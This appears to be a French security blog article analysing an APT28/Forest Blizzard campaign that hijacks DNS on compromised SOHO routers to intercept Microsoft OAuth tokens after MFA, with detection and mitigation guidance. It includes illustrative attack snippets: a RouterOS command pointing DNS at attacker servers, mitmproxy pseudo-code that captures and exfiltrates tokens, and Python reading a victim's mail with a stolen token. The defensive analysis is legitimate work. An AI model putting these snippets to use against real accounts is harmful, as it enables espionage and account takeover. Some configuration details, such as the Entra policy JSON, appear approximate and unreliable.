APT28 / Forest Blizzard : le détournement massif de DNS par 18 000 routeurs SOHO compromis pour dérober des jetons OAuth Microsoft

Forest Blizzard, l'unité du GRU russe aussi connue sous le nom d'APT28 ou Fancy Bear, a compromis plus de 18 000 routeurs domestiques et de petite entreprise pour rediriger massivement le trafic DNS de centaines d'organisations gouvernementales. Leur objectif : intercepter des jetons OAuth Microsoft après l'authentification multifacteur, rendant le MFA totalement inopérant. Une campagne « old school » dans sa méthode, dévastatrice dans ses conséquences.

Table des matières

Chronologie et contexte
L'architecture de l'attaque — vue d'ensemble
Étape 1 : compromission silencieuse des routeurs SOHO
Étape 2 : modification des serveurs DNS
Étape 3 : adversaire dans le milieu — AiTM sur TLS
Étape 4 : interception des jetons OAuth après MFA
Le pivot tactique : pourquoi août 2025 a tout changé
Détection et investigation
Mitigation et recommandations
Conclusion
Références

Chronologie et contexte

Le 7 avril 2026, une triade de rapports simultanés — Microsoft, Black Lotus Labs (Lumen) et le NCSC britannique — a révélé l'une des campagnes les plus ambitieuses de détournement DNS jamais documentées. L'ampleur est stupéfiante :

18 000+ routeurs Internet compromis au pic de l'activité (décembre 2025)
200+ organisations touchées, dont des ministères des affaires étrangères et des services de police
5 000+ appareils grand public Microsoft affectés
Cible principale : les fournisseurs tiers de messagerie électronique et les agences gouvernementales

Forest Blizzard (MITRE ATT&CK G0007), l'unité d'espionnage cybernétique du GRU russe, n'a pas déployé un seul malware sur les routeurs. Pas de botnet, pas de proxy illégal. Juste une modification des paramètres DNS. Une approche que Ryan English, chercheur chez Black Lotus Labs, résume avec une formule frappante :

« Ils ont fait ça d'une manière old-school, à la façon des anciens — ce n'est pas vraiment sexy, mais ça fait le travail. »

L'architecture de l'attaque — vue d'ensemble

Avant de plonger dans les détails techniques, voici la chaîne d'attaque complète dans son ensemble :

flowchart TD
    A["🎯 Attaquant"] -->|"Vulnérabilités connues<br>(Mikrotik/TP-Link EOL)"| B["🔴 Routeur SOHO<br>Mikrotik hAP, TP-Link archaic"]
    B --> C["⚠️ DNS modifié<br>185.xx.xx.xx / 91.xx.xx.xx<br>VPS sous contrôle GRU"]
    D["👤 Utilisateur"] -->|"Query : login.microsoftonline.com"| C
    C -->|"IP détournée<br>185.xx.xx.xx"| E["🖥️ VPS Forest Blizzard<br>Proxy TLS bidirectionnel<br>Intercepte credentials<br>Relai vers Microsoft"]
    E <-->|"TLS"| F["☁️ Microsoft<br>Azure AD / Entra ID"]
    E -->|"Jeton intercepté<br>après MFA ✓"| G["🔑 Jeton OAuth volé<br>MFA déjà validé<br>Accès total à la messagerie"]

    style A fill:#2d6a4f,color:#fff
    style B fill:#d62828,color:#fff
    style C fill:#e76f51,color:#fff
    style E fill:#e63946,color:#fff
    style F fill:#457b9d,color:#fff
    style G fill:#f4a261,color:#000

Ce schéma illustre le point critique : l'attaque se produit en aval de l'authentification multifacteur. L'utilisateur effectue son MFA normalement, Microsoft valide tout, émet le jeton — et c'est ce jeton qui est subtilisé en transit.

Étape 1 : compromission silencieuse des routeurs SOHO

Les cibles : des équipements en fin de vie

Les routeurs ciblés appartiennent principalement à deux constructeurs :

Constructeur	Modèles typiques	Statut
Mikrotik	hAP ac², hAP lite, RB750	RouterOS obsolète, sans mise à jour
TP-Link	Archer C7, TL-WR841N, TD-W8960N	End-of-life, firmware non corrigé

Ces modèles, omniprésents dans les TPE/PME et chez les particuliers, partagent deux caractéristiques fatales :

Des vulnérabilités connues et documentées publiquement — certaines datant de 2022-2023, avec des exploits disponibles.
Aucun correctif disponible — les fabricants ont cessé le support, ou les administrateurs n'appliquent pas les mises à jour.

Méthode de compromission

Forest Blizzard n'a utilisé aucun zéro-day. Les vecteurs d'entrée documentés incluent :

Exploitation de vulnérabilités d'authentification sur l'interface de gestion web (ex: contournement par force brute ou credential stuffing sur les identifiants par défaut).
Failles RouterOS — des vulnérabilités dans le service WinBox de Mikrotik ont été historiquement exploitées par APT28 (cf. rapport NCSC 2024 sur VPNFilter).

Le point crucial : aucun malware n'a été déployé. Les attaquants se sont contentés de modifier les paramètres DNS du routeur. Cette approche minimaliste est délibérée :

Pas de signature binaire à détecter par un antivirus ou un IDS.
Pas de processus anormal qui consommerait du CPU ou de la mémoire.
Pas de connexion sortante suspecte — le routeur continue de fonctionner normalement, il résout juste les requêtes DNS via les serveurs de l'attaquant.

# Exemple de ce que l'attaquant modifie sur un routeur Mikrotik compromis
# (via l'API RouterOS ou l'interface WinBox)

/ip dns set servers=185.xxx.xxx.xxx,91.xxx.xxx.xxx allow-remote-requests=yes

# Avant compromission :
# /ip dns set servers=8.8.8.8,1.1.1.1 allow-remote-requests=yes

# Après compromission :
# Le routeur résout TOUT le DNS via les serveurs contrôlés par APT28

Sur un routeur TP-Link, la modification serait analogue via l'interface web :

Network → WAN → DNS Server
  Primary DNS:   185.xxx.xxx.xxx  (contrôlé par APT28)
  Secondary DNS: 91.xxx.xxx.xxx   (contrôlé par APT28)

Pourquoi cette approche est redoutablement efficace

L'utilisateur final ne remarque absolument rien. Son navigateur fonctionne, ses sites s'affichent. La seule différence invisible : chaque résolution DNS passe d'abord par un serveur sous contrôle du GRU, qui peut décider de renvoyer l'adresse IP légitime pour 99,9 % des domaines — et une adresse malveillante pour les domaines ciblés.

Étape 2 : modification des serveurs DNS

Le DNS poisoning à la source

Une fois le routeur compromis, les serveurs DNS sont remplacés par des VPS contrôlés par Forest Blizzard. Ces serveurs fonctionnent comme des résolveurs DNS « pass-through » avec une règle simple :

flowchart LR
    Q["📥 Requête DNS"] --> D{"🔗 Domaine ciblé ?<br><i>login.microsoftonline.com<br>outlook.office.com<br>login.live.com, etc.</i>"}
    D -->|"OUI"| P["⚠️ IP du VPS Proxy APT28<br>185.xx.xx.xx"]
    D -->|"NON"| L["✅ DNS légitime<br>8.8.8.8 / 1.1.1.1"]
    L --> N["📩 Réponse normale"]

    style D fill:#e9c46a,color:#000
    style P fill:#e63946,color:#fff
    style N fill:#2a9d8f,color:#fff

Cette technique de « DNS sélectif » rend la détection extrêmement difficile. Si un administrateur effectue un dig sur un domaine non ciblé (ex: google.com), la réponse sera parfaitement légitime. Le problème n'apparaît que pour les domaines spécifiquement visés.

Vérification technique

Voici ce qu'une analyse comparative révélerait :

# Depuis un réseau non compromis :
$ dig login.microsoftonline.com +short

# Résultat légitime (exemples d'IPs Microsoft) :
20.190.159.2
40.126.25.33
20.190.160.7


# Depuis un réseau avec routeur compromis :
$ dig login.microsoftonline.com +short

# Résultat détourné :
185.xxx.xxx.xx   # ← VPS de Forest Blizzard

# Vérification du serveur DNS utilisé par la machine
$ nmcli dev show | grep DNS

# Normal :
DNS1: 192.168.1.1    # Le routeur local, qui forward vers 8.8.8.8
DNS2: 8.8.8.8

# Mais en réalité, le routeur forward vers les DNS de l'attaquant :
# 192.168.1.1 → 185.xxx.xxx.xxx (DNS APT28)

Étape 3 : adversaire dans le milieu — AiTM sur TLS

Le problème du HTTPS

HTTPS est conçu pour empêcher exactement ce type d'attaque. Le certificat TLS garantit que vous vous connectez au vrai serveur. Comment Forest Blizzard contourne-t-il cette protection ?

Réponse : ils ne le contournent pas — ils l'utilisent contre l'utilisateur.

Mécanisme de proxy TLS

Le VPS de l'attaquant fonctionne comme un proxy TLS bidirectionnel (reverse proxy) :

flowchart LR
    U["👤 Navigateur Victime"] <-->|"TLS<br>cert Let's Encrypt<br><i>login.microsoftonline.com</i><br>IP: 185.xxx.xxx.xx"| V["🖥️ VPS Proxy<br>Forest Blizzard<br>━━━━━━━━━━━<br>Termine TLS<br>Proxy HTTP<br>Intercepte tokens"]
    V <-->|"TLS"| M["☁️ Microsoft<br>Azure AD"]

    style V fill:#e63946,color:#fff
    style U fill:#457b9d,color:#fff
    style M fill:#2a9d8f,color:#fff

Pour obtenir un certificat TLS valide pour login.microsoftonline.com, les attaquants utilisent une technique documentée depuis 2021 par des groupes comme EvilProxy et Modlishka :

Ils ne valident pas le certificat pour le domaine Microsoft — ils utilisent un domaine sous leur contrôle et trompent le flux OAuth.

En pratique, la technique fonctionne ainsi :

L'utilisateur est redirigé vers une URL qui ressemble à Microsoft mais pointe vers le VPS de l'attaquant.
Le VPS utilise un certificat Let's Encrypt valide pour un domaine qu'il contrôle.
Le proxy relaie transparentment les requêtes entre l'utilisateur et le véritable serveur Microsoft.

# Schéma simplifié du proxy AiTM (pseudo-code illustratif)
# Tel que fonctionnerait le reverse proxy de Forest Blizzard

from mitmproxy import http

TARGET_DOMAINS = [
    "login.microsoftonline.com",
    "login.live.com",
    "outlook.office.com",
    "accounts.accesscontrol.windows.net"
]

PROXY_VPS_IP = "185.xxx.xxx.xx"

def request(flow: http.HTTPFlow) -> None:
    # Le proxy relaie intégralement la requête vers le vrai serveur Microsoft
    flow.request.host = flow.request.pretty_host  # Nom de domaine original
    # Modification de l'en-tête Host si nécessaire
    flow.request.headers["X-Forwarded-For"] = flow.client_conn.address[0]


def response(flow: http.HTTPFlow) -> None:
    # INTERCEPTION CRITIQUE : capture des jetons OAuth
    if "access_token" in flow.response.text or "id_token" in flow.response.text:
        tokens = extract_tokens(flow.response.text)
        log_and_exfiltrate(tokens, source_ip=flow.client_conn.address[0])

    # Le proxy renvoie la réponse (éventuellement modifiée) au navigateur
    # Le navigateur reçoit la réponse de Microsoft comme si tout était normal

Note importante : le pseudo-code ci-dessus illustre le concept. En réalité, Forest Blizzard utilise probablement un proxy TLS dédié basé sur des outils comme mitmproxy, HAProxy avec SNI routing, ou une solution propriétaire, sans que le certificat du domaine Microsoft soit directement falsifié. Le mécanisme exact d'obtention/affichage du certificat fait probablement intervenir soit un domaine homographique, soit une manipulation du flux de redirection OAuth.

Étape 4 : interception des jetons OAuth après MFA

Le flux OAuth2 — et où l'attaque s'insère

Comprendre cette attaque nécessite de maîtriser le flux d'authentification OAuth 2.0 / OpenID Connect tel qu'implémenté par Microsoft Entra ID (ex-Azure AD) :

flowchart TD
    subgraph normal["✅ FLUX NORMAL"]
        direction TB
        N1["👤 Navigateur"] --> N2["1. GET /authorize<br>→ login.microsoftonline.com"]
        N2 --> N3["☁️ Microsoft"]
        N3 --> N4["2. Page de login"]
        N4 --> N5["3. Login + Password"]
        N5 --> N6["4. Défi MFA"]
        N6 --> N7["✓ MFA validé"]
        N7 --> N8["5. HTTP 302<br>+ access_token<br>+ refresh_token"]
        N8 --> N9["🔑 Jeton reçu<br>par le navigateur"]
    end

    subgraph aitm["⚠️ FLUX AVEC AiTM (Forest Blizzard)"]
        direction TB
        A1["👤 Navigateur"] --> A2["1. GET /authorize<br>→ VPS attaquant<br>(DNS détourné)"]
        A2 --> A3["🖥️ VPS Proxy"]
        A3 <-->|"relaie"| A4["☁️ Microsoft"]
        A3 --> A5["2. Page de login<br>(relaie fidèlement)"]
        A5 --> A6["3. Login + Password<br>(relaie à MS)"]
        A6 --> A7["4. Défi MFA<br>(relaie à MS)"]
        A7 --> A8["✓ MFA validé"]
        A8 --> A9["5. HTTP 302<br>+ access_token + refresh_token"]
        A9 --> A10["🔑 Jeton intercepté<br>par le proxy"]
        A10 --> A11["📁 Jeton stocké par<br>Forest Blizzard"]
    end

    style normal fill:#d8f3dc,color:#264653
    style aitm fill:#fcd5ce,color:#641220
    style N9 fill:#2d6a4f,color:#fff
    style A11 fill:#d62828,color:#fff

Pourquoi le MFA est totalement contourné

C'est le point le plus critique de cette attaque, et celui que beaucoup d'organisations ne comprennent pas encore :

Le MFA ne protège pas contre cette attaque.

La raison est fondamentale : le MFA est un mécanisme d'authentification qui lie un utilisateur à une session. Il vérifie que la personne qui saisit le mot de passe est bien le propriétaire légitime. Mais dans le cas d'un AiTM :

L'utilisateur saisit lui-même son mot de passe → valide
L'utilisateur valide lui-même son MFA → valide
Microsoft émet le jeton en considérant l'authentification réussie → tout est légitime
Le jeton est ensuite intercepté en transit entre le serveur Microsoft et le navigateur

Le jeton OAuth capturé contient :

{
  "access_token": "eyJ0eX...6...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "https://graph.microsoft.com/.default openid profile email",
  "refresh_token": "***",
  "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
}

Avec ce jeton, l'attaquant peut :

Accéder à la messagerie Outlook via Microsoft Graph API
Lire et envoyer des emails au nom de la victime
Accéder aux fichiers SharePoint et OneDrive
Se propager latéralement dans l'organisation via les permissions du compte compromis
Utiliser le refresh_token pour obtenir de nouveaux access_tokens même après expiration (durée de vie du refresh_token : jusqu'à 90 jours, renouvelable)

# Utilisation du jeton volé par l'attaquant (pseudo-code)
import requests

ACCESS_TOKEN = "eyJ0eX...6..."

headers = {
    "Authorization": f"Bearer {ACCESS_TOKEN}",
    "Content-Type": "application/json"
}

# Lecture des emails de la victime
response = requests.get(
    "https://graph.microsoft.com/v1.0/me/messages?$top=50",
    headers=headers
)

for message in response.json()["value"]:
    print(f"De: {message['from']['emailAddress']['address']}")
    print(f"Sujet: {message['subject']}")
    print(f"Corps: {message['body']['content'][:200]}...")
    print("---")

Échelle de temps de l'attaque

timeline
    title Échelle de temps de l'attaque
    section Jour 0
        Compromission du routeur + DNS modifié
        : L'utilisateur ne sait RIEN
    section Jour 1
        Interception du jeton OAuth après MFA
        : L'utilisateur ne sait RIEN
    section Jour 1-90
        Accès continu à la messagerie et aux données
        : L'utilisateur ne sait RIEN
    section Jour 90+
        Renouvellement du refresh_token : accès prolongé
        : L'utilisateur ne sait RIEN

Le pivot tactique : pourquoi août 2025 a tout changé

L'avant : des malwares repérés

Avant août 2025, Forest Blizzard utilisait des approches classiques de compromission de routeurs impliquant le déploiement de malwares (droppers, proxies, outils de persistance). Ces méthodes, bien que fonctionnelles, laissaient des traces :

Fichiers binaires sur le routeur détectables par des scans de sécurité.
Connexions sortantes anormales vers des C2.
Signatures IOC exploitables par les solutions de détection.

Le rapport NCSC d'août 2025 : le déclencheur

En août 2025, le NCSC britannique publie un rapport détaillé sur les méthodes de compromission de routeurs par APT28. Ce rapport inclut des indicateurs de compromission (IOC), des recommandations de durcissement et des méthodes de détection spécifiques aux malwares utilisés.

La réaction de Forest Blizzard a été immédiate et brillante.

Danny Adamitis, chercheur chez Black Lotus Labs, a noté :

Le groupe s'est adapté immédiatement après le rapport du NCSC d'août 2025.

Dès le lendemain de la publication du rapport NCSC, Forest Blizzard a modifié sa méthode opérationnelle :

Avant août 2025	Après août 2025
Déploiement de malwares sur les routeurs	Modification DNS uniquement, aucun binaire
Connexions C2 détectables	Aucune connexion sortante anormale
IOCs exploitables par les défenseurs	Aucun IOC binaire à détecter
Approche « bruyante »	Approche quasi invisible

Microsoft souligne qu'il s'agit de la première fois que Forest Blizzard est observé utilisant « le détournement DNS à grande échelle pour supporter des attaques AiTM de connexions TLS après l'exploitation d'appareils en périphérie du réseau. »

Ce pivot tactique illustre une réalité souvent sous-estimée : les APTs de calibre étatique ne sont pas des scripts kiddies. Ils adaptent leurs méthodes en temps réel en fonction de la posture de défense de leurs cibles.

Détection et investigation

Indicateurs de compromission (IOC) réseau

Bien que l'attaque soit conçue pour être discrète, plusieurs signes peuvent alerter :

1. Vérification du DNS configuré sur le routeur

# Connexion au routeur Mikrotik
ssh [email protected]

# Vérification des serveurs DNS configurés
/ip dns print

# Résultat attendu (légitime) :
# servers: 8.8.8.8,1.1.1.1
# allow-remote-requests: yes

# Résultat suspect :
# servers: 185.xxx.xxx.xx,91.xxx.xxx.xx
# allow-remote-requests: yes

2. Comparaison des résolutions DNS

# Résolution depuis le réseau local (via le routeur)
$ dig login.microsoftonline.com @192.168.1.1 +short
185.xxx.xxx.xx    # ← IP suspecte, ne correspond pas aux blocs Microsoft

# Résolution depuis un DNS externe de référence
$ dig login.microsoftonline.com @8.8.8.8 +short
20.190.159.2      # ← IP légitime Microsoft
40.126.25.33

3. Détection d'anomalies dans les certificats TLS

# Vérification du certificat présenté par le serveur
$ openssl s_client -connect login.microsoftonline.com:443 -servername login.microsoftonline.com </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A2 "Issuer:\|Subject:\|DNS:"

# Légitime :
# Issuer: C=US, O=Microsoft Corporation, CN=Microsoft Azure TLS Issuing CA 07
# Subject: CN=login.microsoftonline.com
# DNS:login.microsoftonline.com, DNS:login.windows.net

# Suspect :
# Issuer: C=US, O=Let's Encrypt, CN=R3
# Subject: CN=login.microsoft0nline.com  (notez le zéro au lieu du o)
# DNS:login.microsoft0nline.com

4. Monitoring SIEM — requêtes de détection

# Splunk — Détection d'anomalies de résolution DNS
index=dns login.microsoftonline.com
| stats count, dc(answer) as unique_ips by query
| where unique_ips > 1
| sort -count

# Recherche de tokens OAuth dans les logs proxy (si disponible)
index=proxy (access_token OR refresh_token OR id_token)
| stats count by src_ip, dest_ip, dest_host
| where dest_ip NOT IN (20.190.0.0/16, 40.126.0.0/16, 52.97.0.0/16)

# Script Python de vérification du DNS du routeur
import dns.resolver
import socket
import sys

TARGET_DOMAINS = [
    "login.microsoftonline.com",
    "login.live.com",
    "outlook.office.com",
    "sts.windows.net"
]

# IPs Microsoft légitimes (blocs AS8075)
MICROSOFT_PREFIXES = [
    "20.190.", "40.126.", "52.97.", "104.47.",
    "13.107.", "204.79."
]

def check_dns(domain, dns_server):
    """Vérifie la résolution DNS d'un domaine via un serveur donné."""
    try:
        resolver = dns.resolver.Resolver()
        resolver.nameservers = [dns_server]
        answers = resolver.resolve(domain, 'A')
        return [str(rdata) for rdata in answers]
    except Exception as e:
        return [f"ERREUR: {e}"]

def is_microsoft_ip(ip):
    """Vérifie si l'IP appartient aux blocs Microsoft."""
    return any(ip.startswith(prefix) for prefix in MICROSOFT_PREFIXES)

def main():
    router_dns = "192.168.1.1"  # Adresse du routeur local
    reference_dns = "8.8.8.8"   # DNS de référence

    print("=" * 70)
    print("ANALYSE DNS — Détection de détournement")
    print("=" * 70)

    for domain in TARGET_DOMAINS:
        router_ips = check_dns(domain, router_dns)
        ref_ips = check_dns(domain, reference_dns)

        print(f"\nDomaine: {domain}")
        print(f"  Via routeur ({router_dns}):  {', '.join(router_ips)}")
        print(f"  Via référence ({reference_dns}): {', '.join(ref_ips)}")

        # Vérification croisée
        router_is_microsoft = all(is_microsoft_ip(ip) for ip in router_ips if not ip.startswith("ERREUR"))
        ref_is_microsoft = all(is_microsoft_ip(ip) for ip in ref_ips if not ip.startswith("ERREUR"))

        if not router_is_microsoft and ref_is_microsoft:
            print("  ⚠️  ALERTE : Le routeur renvoie des IPs non-Microsoft !")
            print("  ⚠️  Possible détournement DNS en cours.")

    print("\n" + "=" * 70)

if __name__ == "__main__":
    main()

Indicateurs de compromission au niveau du compte Microsoft

Du côté de Microsoft, les signes d'un jeton volé incluent :

Connexions depuis des géolocalisations incohérentes avec les habitudes de l'utilisateur.
User-Agent inhabituels dans les logs d'authentification.
Adresse IP source ne correspondant pas aux plages habituelles de l'organisation.
Refresh tokens utilisés après que l'utilisateur a révoqué sa session.
Accès à Microsoft Graph depuis des IPs non-Microsoft.

Mitigation et recommandations

Pour les administrateurs réseau et systèmes

1. Sécuriser les routeurs SOHO — priorité absolue

Action	Détail
□ Remplacer les routeurs end-of-life	Mikrotik hAP lite (RouterOS 6.x) : REMPLACER · TP-Link Archer C7 (firmware 2018) : REMPLACER
□ Mettre à jour le firmware	Vers la dernière version disponible
□ Désactiver WinBox sur WAN	Mikrotik : `/ip service disable winbox`
□ Changer les identifiants par défaut	admin/admin est INACCEPTABLE — mot de passe ≥ 16 caractères, unique
□ Désactiver la gestion à distance	Si non requise
□ Filtrage IP sur l'interface web	Restreindre aux plages admin
□ Vérifier les serveurs DNS	Doivent pointer vers 8.8.8.8, 1.1.1.1 ou DNS du FAI
□ Activer et surveiller les logs	Centraliser dans un SIEM

2. Déploiement du DNS-over-HTTPS (DoH) ou DNS-over-TLS (DoT)

La parade la plus efficace contre le détournement DNS au niveau du routeur est de court-circuiter le routeur pour la résolution DNS :

# Firefox — Forcer DoH (about:config)
network.trr.mode = 3        # 3 = DoH only, pas de fallback
network.trr.uri = "https://dns.google/dns-query"

# Chrome — Activer DoH (chrome://settings/security)
chrome://flags/#dns-over-https → Enabled

# Windows 11 — Configurer DoT via PowerShell
Get-DnsClientDohServerAddress | Format-Table

flowchart LR
    U["👤 Navigateur"] -->|"DNS chiffré<br>via TLS 1.3"| D["🔒 DNS Google / Cloudflare<br>1.1.1.1 / 8.8.8.8"]
    R["🖥️ Routeur compromis"] -.->|"NE VOIT PAS les requêtes<br>NE PEUT PAS les altérer"| D

    style D fill:#2a9d8f,color:#fff
    style R fill:#bbb,color:#333,stroke:#666,stroke-dasharray: 5 5

3. Configurer Microsoft Entra ID pour résister au vol de jetons

// Microsoft Entra ID — Configuration de la politique de sécurité conditionnelle
{
  "conditionalAccess": {
    "name": "Protection contre AiTM - Accès conditionnel renforcé",
    "grantControls": {
      "builtInControls": [
        "mfa",
        "compliantDevice",
        "domainJoinedDevice"
      ],
      "operator": "AND"
    },
    "sessionControls": {
      "compliantDeviceRequired": true,
      "continuousAccessEvaluation": {
        "mode": "enabled"
      }
    }
  }
}

L'explication est cruciale ici : même si le jeton OAuth est volé, il ne contient pas l'information « appareil conforme » ou « appareil joint au domaine ». Si la politique conditionnelle exige ces contrôles en plus du MFA, le jeton volé sera inutilisable pour l'attaquant :

flowchart TD
    A["🎯 Attaquant"] -->|"Jeton OAuth volé"| B["☁️ Microsoft Entra ID"]
    B --> C["Vérification du jeton"]
    C --> D{"Résultat"}
    D -->|"✅ Jeton valide"| E{"✅ MFA validé ?"}
    E -->|"✅ Oui"| F{"📱 Appareil conforme<br>et joint au domaine ?"}
    F -->|"❌ Non"| G["🚫 ACCÈS REFUSÉ"]

    style A fill:#e63946,color:#fff
    style G fill:#d62828,color:#fff
    style B fill:#457b9d,color:#fff
    style F fill:#e9c46a,color:#000

4. Activer Continuous Access Evaluation (CAE)

Microsoft propose Continuous Access Evaluation qui révoque quasi instantanément les jetons lorsqu'un événement de sécurité est détecté (révocation de session, changement de mot de passe, modification de la politique conditionnelle).

5. Surveiller les plages IP Microsoft légitimes

# Liste des AS et préfixes IP Microsoft à surveiller
# AS8075 - Microsoft Corporation
# AS12076 - Microsoft Corporation

# Téléchargement des données de routage Microsoft
# https://www.microsoft.com/en-us/download/details.aspx?id=53602

Pour les utilisateurs finaux

Vérifier l'URL dans la barre d'adresse du navigateur lors de l'authentification Microsoft.
Ne jamais cliquer sur des liens dans des emails suspects menant vers des pages de connexion.
Signaler toute page de connexion qui semble « différente » au service IT.
Utiliser le Microsoft Authenticator avec l'authentification par numéro — cette méthode peut compliquer (mais pas empêcher) les attaques AiTM.

Contexte géopolitique — la question TP-Link et la réglementation

Cette campagne intervient dans un contexte de tension croissante autour de la sécurité des équipements réseau :

TP-Link fait face à un éventuel interdiction aux États-Unis, le constructeur chinois étant accusé de négligence en matière de sécurité de ses produits grand public.
Le 23 mars 2026, la FCC a annoncé une « approche plus large » concernant la sécurité des équipements réseau importés.
Les routeurs TP-Link et Mikrotik compromis dans cette campagne illustrent concrètement le risque que ces régulateurs cherchent à adresser.

Il est toutefois important de noter que la vulnérabilité réside dans l'absence de mise à jour, pas nécessairement dans la nationalité du fabricant. Un routeur Mikrotik (constructeur letton) non mis à jour est aussi vulnérable qu'un routeur TP-Link non mis à jour.

Conclusion

La campagne de Forest Blizzard révélée le 7 avril 2026 marque une évolution significative dans la méthodologie des APTs étatiques :

Simplicité délibérée — Pas de malware, pas de zéro-day, juste une modification DNS. L'approche la plus difficile à détecter est celle qui ne laisse aucune trace.
Adaptabilité tactique — Le pivot immédiat après le rapport NCSC d'août 2025 démontre une capacité d'adaptation en temps réel qui dépasse les modèles de maturité habituels.
Contournement complet du MFA — L'interception de jetons OAuth après validation MFA rend caduque l'hypothèse « le MFA suffit ». La défense en profondeur exige des contrôles supplémentaires : Conditional Access avec conformité appareil, Continuous Access Evaluation, et surveillance continue.
La responsabilité partagée — Les 18 000 routeurs compromis ne sont pas la faute de Microsoft, ni des victimes. C'est l'écosystème entier (fabricants, distributeurs, administrateurs, utilisateurs) qui porte la responsabilité de maintenir les équipements de périphérie du réseau à jour.

Pour les équipes de sécurité, le message est clair : le réseau de confiance s'arrête au routeur. Si le premier saut DNS est compromis, toutes les protections en aval — y compris le MFA — deviennent contournables. La sécurité des équipements de périphérie n'est plus une option, c'est un impératif stratégique.

Références

Microsoft Threat Intelligence Blog — SOHO Router Compromise Leads to DNS Hijacking and Adversary-in-the-Middle Attacks
UK NCSC Advisory — APT28 exploit routers to enable DNS hijacking operations
Lumen / Black Lotus Labs — FrostArmada: Forest Blizzard DNS Hijacking
KrebsOnSecurity — Russia Hacked Routers to Steal Microsoft Office Tokens
MITRE ATT&CK — Forest Blizzard (G0007)

Article publié le 9 avril 2026 par Louis BEDESCHI sur le blog Kitsune.